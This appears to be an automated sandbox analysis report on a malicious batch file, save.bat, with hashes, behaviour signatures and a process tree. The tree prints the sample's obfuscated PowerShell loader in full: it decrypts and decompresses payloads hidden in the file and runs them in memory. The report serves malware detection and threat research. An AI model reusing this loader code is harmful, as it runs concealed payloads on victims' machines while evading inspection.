3b76cb3ab031658b762892f0d4145498eee84da51d451c67c1ca642afd79add1

Analysis

max time kernel
32s
max time network
41s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
08/12/2022, 09:21

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General

Target
save.bat
Size 121KB
Sample221208-lbbqaace3s
SHA256 3b76cb3ab031658b762892f0d4145498eee84da51d451c67c1ca642afd79add1
MD5 c61a072f3a23cb30b7de5f2fde721aa5
SHA1 2cf6627b27746800cf433967723cba04437ea8c4
SHA512 91362eb4959556c7b9eeb23a407cddbb01b7842ab4e5b583fb61df7182d5e606d174f45a4a90f3791976f70aeff47595357f47a697521388cda924bb986ed3b2
SSDEEP 3072:Hra8BPiD5rqoGuj4PTfcUzq/2Xlyk1HZDN5ISArFaJC:1aDUrfcNEZISiEJC
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2028	save.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
748	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1504	powershell.exe
2028	save.bat.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	2028	save.bat.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 748 wrote to memory of 1504	748	cmd.exe	28
PID 748 wrote to memory of 1504	748	cmd.exe	28
PID 748 wrote to memory of 1504	748	cmd.exe	28
PID 748 wrote to memory of 2028	748	cmd.exe	29
PID 748 wrote to memory of 2028	748	cmd.exe	29
PID 748 wrote to memory of 2028	748	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\save.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -w hidden -ep bypass -c #
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1504
- C:\Users\Admin\AppData\Local\Temp\save.bat.exe
  "C:\Users\Admin\AppData\Local\Temp\save.bat.exe" -noprofile -ep bypass -c function yR($v){$v.Replace('@', '')}$Kh=yR 'Fro@mBa@se64@St@ri@ng@';$IZ=yR 'Spl@it@';$oS=yR 'R@e@a@dAll@Te@x@t@';$hn=yR 'Entr@yPo@int@';$bU=yR 'Ch@an@g@eEx@ten@s@io@n@';$qi=yR 'I@nv@ok@e@';$qJ=yR 'Get@Cu@r@r@e@ntP@ro@ces@s@';$Xu=yR 'Tra@ns@form@Fi@nal@Bloc@k@';$BY=yR 'C@r@ea@te@D@ecr@ypt@o@r@';$nX=yR 'Loa@d@';function nAwju($EukzE,$KnLgV,$DHvkN){$mNRTM=[System.Security.Cryptography.Aes]::Create();$mNRTM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$mNRTM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$mNRTM.Key=[System.Convert]::$Kh($KnLgV);$mNRTM.IV=[System.Convert]::$Kh($DHvkN);$XIotA=$mNRTM.$BY();$HuHEw=$XIotA.$Xu($EukzE,0,$EukzE.Length);$XIotA.Dispose();$mNRTM.Dispose();$HuHEw;}function GmSLK($EukzE){$ttBgS=New-Object System.IO.MemoryStream(,$EukzE);$bHGBk=New-Object System.IO.MemoryStream;$IttUw=New-Object System.IO.Compression.GZipStream($ttBgS,[IO.Compression.CompressionMode]::Decompress);$IttUw.CopyTo($bHGBk);$IttUw.Dispose();$ttBgS.Dispose();$bHGBk.Dispose();$bHGBk.ToArray();}function Gvvpt($EukzE,$KnLgV){[System.Reflection.Assembly]::$nX([byte[]]$EukzE).$hn.$qi($null,$KnLgV);}$cBaPI=[System.IO.File]::$oS([System.IO.Path]::$bU([System.Diagnostics.Process]::$qJ().MainModule.FileName, $null)).$IZ([Environment]::NewLine);$erUjZ=$cBaPI[$cBaPI.Length-1].Substring(2);$CYaoK=[string[]]$erUjZ.$IZ('\');$aOqoR=GmSLK (nAwju ([Convert]::$Kh($CYaoK[0])) $CYaoK[2] $CYaoK[3]);$YQHYd=GmSLK (nAwju ([Convert]::$Kh($CYaoK[1])) $CYaoK[2] $CYaoK[3]);Gvvpt $YQHYd $null;Gvvpt $aOqoR $null;
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

save.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\save.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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save.bat.exe

Path \Users\Admin\AppData\Local\Temp\save.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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memory/1504-57-0x000007FEF2390000-0x000007FEF2EED000-memory.dmp

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memory/1504-58-0x00000000025C4000-0x00000000025C7000-memory.dmp

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memory/1504-60-0x00000000025CB000-0x00000000025EA000-memory.dmp

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memory/1504-59-0x00000000025C4000-0x00000000025C7000-memory.dmp

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memory/1504-56-0x000007FEF2EF0000-0x000007FEF3913000-memory.dmp

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memory/1504-55-0x000007FEFBD71000-0x000007FEFBD73000-memory.dmp

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memory/2028-65-0x000007FEF3890000-0x000007FEF42B3000-memory.dmp

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memory/2028-66-0x000007FEF2D30000-0x000007FEF388D000-memory.dmp

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memory/2028-68-0x000000000232B000-0x000000000234A000-memory.dmp

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memory/2028-67-0x0000000002324000-0x0000000002327000-memory.dmp

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memory/2028-69-0x000000000232B000-0x000000000234A000-memory.dmp

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